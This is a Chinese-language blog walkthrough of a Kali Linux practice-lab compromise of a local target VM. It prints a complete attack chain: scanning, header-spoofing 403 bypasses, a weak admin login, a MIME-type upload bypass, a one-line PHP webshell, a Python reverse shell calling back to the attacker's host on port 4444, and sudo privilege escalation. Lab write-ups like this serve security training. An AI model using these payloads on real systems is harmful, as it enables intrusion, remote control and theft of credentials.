基于Kali Linux打靶过程范例(1)

一、涉及的攻击方法:主机发现、端口扫描、WEB信息收集、指纹探测、弱口令、403 Bypass、文件上传及绕过、base64编码、本地提权。
1.主机发现
arp-scan -l
2.对目标主机进行全端口扫描
nmap -p- 192.168.56.115
3.对目标主机开发的端口进行服务版本扫描
nmap -p22,80 -sV -sC 192.168.56.115
4.对目标主机的80端口进行直接访问,只返回简单页面,手动对站点进行信息搜集

http://192.168.56.115/
http://192.168.56.115/admin             #404
http://192.168.56.115/rebots.txt		#404
http://192.168.56.115/login       		#404

浏览器无法正常访问首页,查看首页源代码,也未发现有价值内容(如有提示的注释信息、调用后端API的接口等)

5.通过whatweb小工具,查看目标服务器端的应用系统技术栈、架构等
whatweb http://192.168.56.115/

信息显示:服务器使用apache中间件,使用了Bootstrap前端框架、使用了Query库,服务器端使用的是PHP的开发语言环境。

6.针对目标服务器上隐藏的目录、文件进行爬取。爬取结果中出现了大量403的状态码(403表示拒绝访问,大概率在目标系统上存在扫描到的文件,但是因为服务器端权限限制的原因,使得未经身份认证的用户,无法直接请求到存在于目标靶机的文件)
dirsearch -u http://192.168.56.115/
对于上述扫描出的301跳转,直接访问也显示了forbidden,并且返回响应码也为403

补充:出现上述提示可以说明:客户端所请求的文件,在目标服务器上是存在的,但是因为开发人员做了相应的权限设置或者身份验证等安全措施。当渗透测试过程中,当服务端返回403错误,可以进行403绕过测试(bypass)。常见403错误bypass方法

①使用旁站的方式尝试绕过403的权限限制:先通过信息搜集的方式,收集到目标企业可能使用的abc.com域下的其他主机名。如果目标系统的开发人员有可能只针对host头部为www.abc.com的请求做了权限限制,但是对其他该域之下的主机名访问相同的URL时,有可能目标服务器会相应正常的200状态码。

#Request
GET /auth/login HTTP/1.1
Host:www.abc.com
#Response
HTTP/1.1 403 Forbidden

#Request
GET /auth/login HTTP/1.1
Host:$xxx$.abc.com
#Response
HTTP/1.1 200 OK

②通过覆盖URL的方式进行403的绕过:因为有很多的web应用的目标程序,在进行权限控制时,只针对GET的具体的地址时,才进行地址的检查和设置。但是第二种方式通过增加X-Original-URL头部的方式最终访问到了目标地址,但是GET参数却是/。如果目标系统使用就是基于URL路径,进行权限的限制,那么通过URL覆盖的方式即可进而绕过403的权限限制

#Request
GET /auth/login HTTP/1.1
#Response
HTTP/1.1 403 Forbidden
#Request
GET /auth/login HTTP/1.1
X-Original-URL: /auth/login         
X-Rewrite-URL: /auth/login 		    #URL重写
ReFerer:https://xxx/auth/login      #基于ReFerer头部验证
#Response
HTTP/1.1 200 OK

③通过一下X开头的一些列头部,基本都是非标准的HTTP头部,这些头部一般都代表,当访问到目标服务器之前,经过了几个反向的代理服务器的代理请求的记录 。通过对这些头部的修改,来欺骗服务器,本次的http请求是由代理服务器本身发起的

#Request
GET / HTTP/1.1
Host:192.168.56.114
X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For:127.0.0.1
#Response
HTTP/1.1 200 OK

7.通过当前靶机,按照上述方法按个尝试发现,只有通过设置X-Forwarded-For:127.0.0.1头部是有效的,返回的状态码变为了200

http://192.168.56.115/adminstration/
X-Forwarded-For:127.0.0.1

添加XFF头部后,可以返回正常的登录显示页面

8.按照上述登录页面,测试是否存在弱口令:测试发现,当用户名和密码均输入admin时,可直接登入系统后台。但登陆时,为了满足权限验证,需要在所有的请求数据包中,都增加X-Forwarded-For:127.0.0.1头部信息。

已成功登录到后台页面!

9.挨个对页面中的链接进行测试,发现了文件上传的页面

补充:文件上传绕过常见方法

①修改上传文件扩展名

②修改文件MIME类型

③在数据段添加真实的图片的头部信息,再在最后的位置添加php的webshell内容(即图片马)

10.本次靶机文件上传绕过测试中,发现可以通过修改MIME类型的方式进行webshell上传,上传数据包中同样要添加XFF字段内容。

#webshell脚本内容
<?php $var=shell_exec($_GET['cmd']); echo $var ?>

根据返回的信息的进行访问,利用上传的webshell执行系统命令
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls

11.反弹shell,突破系统边界
①利用python执行反弹shell,先判断服务器端有无python:根据返回结果显示,服务器端存在python
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python

②通过python代码反弹shell

#反弹shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

#浏览器访问
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    
#kali主机监听    
nc -lvvp 4444

已成功获取到shell

12.获取到shell后,进行信息搜集:查看用户文件中支持登录的账号,发现了一个yousef用户
cat /etc/passwd|grep /bin/bash

13.进入home目录后,发现存在一个flag文件,但其内容为base64编码

www-data@yousef-VirtualBox:/$ cd /home 
www-data@yousef-VirtualBox:/home$ ls
user.txt  yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

14.使用解码工具对base64编码进行解码发现了一个ssh的用户名和密码

15.通过上述账号,直接ssh登录目标服务器
# ssh yousef@192.168.56.115

16.通过查看发现该用户存在sudo权限配置,且yousef用户可以运行系统上的所有命令。直接通过sudo -s将该用户提升至root用户,获取到flag

yousef@yousef-VirtualBox:~$ sudo -l
yousef@yousef-VirtualBox:~$ sudo -s
root@yousef-VirtualBox:~# cd /home/
root@yousef-VirtualBox:/home# cat user.txt 
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
posted @ 2023-01-14 16:36  AshJo  阅读(204)  评论(0编辑  收藏  举报